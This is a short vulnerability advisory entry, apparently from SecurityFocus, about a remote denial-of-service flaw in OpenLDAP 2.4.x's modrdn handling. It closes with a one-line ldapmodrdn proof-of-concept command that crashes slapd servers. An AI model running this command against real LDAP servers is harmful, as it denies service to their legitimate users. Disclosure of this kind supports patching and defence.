OpenLDAP 2.4.x – ‘modrdn’ NULL OldDN Remote Denial of Service
source: https://www.securityfocus.com/bid/46831/info OpenLDAP is prone to a remote denial-of-service vulnerability that affects the 'modify relative distinguished name' (modrdn) command. Attackers can exploit this issue to deny service to legitimate users by crashing affected 'slapd' servers. ldapmodrdn -x -H ldap://ldapserver -r '' o=test |